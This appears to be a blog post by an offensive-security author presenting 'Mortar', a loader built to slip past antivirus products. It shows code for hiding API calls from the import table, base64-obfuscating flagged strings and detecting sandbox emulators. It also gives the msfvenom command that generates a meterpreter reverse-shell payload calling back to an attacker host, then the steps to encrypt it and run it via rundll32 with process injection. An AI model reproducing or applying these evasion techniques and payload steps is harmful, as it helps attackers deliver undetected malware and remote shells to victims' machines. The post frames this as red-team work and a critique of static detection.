https://github.com/0xsp-SRD/mortar
Words to say
Table of Contents
I released the Mortar loader a couple of months ago, and it was good results in defeating and diverting advanced AV(anti-virus) solutions. However, even after many vendors pushed some updates to detect the loader, it was easy to compile an undetectable version by changing some code lines.,And here I am pointing to the terrible detection mechanism by Anti-malware solutions, which heavily depends on static analysis and is entirely blind to memory execution.
The idea of releasing the first version of Mortar is not to combine advanced techniques in one piece tool but to highlight the importance of adherence to newer defensive technologies and not just depend on some static detection rules.
Process hollowing is not a new technique to shed light on, but adding encryption and tactics make it more affordable for any red team engagement.
Features
Hiding win32 API calls from IAT
any used win32 API functions in binaries are listed in the binary’s import address tables(IAT), while some of these functions are considered black-listed or dangerous, an AV solution also depends on the same detection technique to flag as malicious.
Mortar will hide the API calls from IAT and use alternative techniques to call the required API using LoadLibararyA and GetProcAddress of An API call function.
hmod := LoadLibrary('kernel32.dll');
CP := GetProcAddress(hmod,'CreateProcessA');
Code language: JavaScript (javascript)
And then directly load the function from a compiled unit as the following
if syscalls.CP(nil, PChar(sVictim), nil, nil, false, CREATE_SUSPENDED, nil, nil, SI, PI) then
Code language: JavaScript (javascript)
if we look into the SYScall unit, we can observe the win32 API function name been changed and ported into Stdcall instead of external.
CP : function (lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar;
const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall;
Code language: PHP (php)
And if we load the old aggressor release into PEstudio and inspect the import address table, we can see that some of the imported functions are blacklisted. That’s what anti-malware would also do to detect if a specific binary using a well-known malicious calls.
and after we wrapped our technique,we can see that the CreateProcessA API call is hidden from the IAT table. It may not be possible to hide all calls because some of the pascal functions used the external API calls that can’t be changed for now. Such as ReadProcessMemory.
Strings encoding
it is essential to hide some of the artifacts of malware. Some libraries do that, such skCrypter, but I have added base64 encoded strings for some of the black-listed strings into Mortar. For example, in the following figure below, PEstudio highlighted a list of malicious strings that could be considered indicators of compromise.
As it is not required to hide all the strings, it may help a little bit to reduce the detection ratio or analysis. So below is an example of what I have accomplished to encode a string of VALLOC = ‘VmlydHVhbEFsbG9j’;
Alloc := GetProcAddress(hmod,Pchar(DecodeStringBase64(VALLOC)));
Divert sandbox emulation detection
Dynamic sandboxing has become one of the detection mechanisms used by many AV vendors. However, while memory allocation will work on a regular PC, it will not work in any AV emulator, so by wrapping the C++ code into the Pascal version, we can prevent the execution of the aggressor inside an AV emulator using VirtualAllocExNuma win32 API call. Trying to allocate memory fails to perform that inside the AV emulator environment, and it will exit the execution smoothly. In contrast, the emulator will not be able to get insightful behavior analysis and detect that.
BOOL checkNUMA() {
LPVOID mem = NULL;
pVirtualAllocExNuma myVirtualAllocExNuma = (pVirtualAllocExNuma)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocExNuma");
mem = myVirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if (mem != NULL) {
return false;
} else {
return true;
}
}
Code language: PHP (php)
Shellcode Runner
the ability to run encrypted shellcode is supported with Mortar Loader using Process injection technique ; it can be accomplished first by generating a shellcode and encrypting it with Mortar encryptor then load it with agressor. Let’s take an example of that with Metasploit MSFvenom.
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.10.1 LPORT=8080 -f c -o > shellcode.bin
And then encrypt it with Mortar.
root@kali>./encryptor -f shellcode.bin -o bin.enc
Code language: CSS (css)
and finally, place the bin.enc in the same folder of the loader and execute it using the following command
rundll32 agressor.dll,sh
Code language: CSS (css)
To-Do?
Below are some of the pending ideas I could work on in my free time.
- Direct Syscall Windows API calls.
- Remote fetch of encrypted content.
- support .NET binaries
You can support by small donation https://donorbox.org/support-0xsp
offensive security expert and founder of 0xsp security research and development (SRD), passionate about hacking and breaking stuff, coder and maintainer of 0xsp-mongoose RED, and many other open-source projects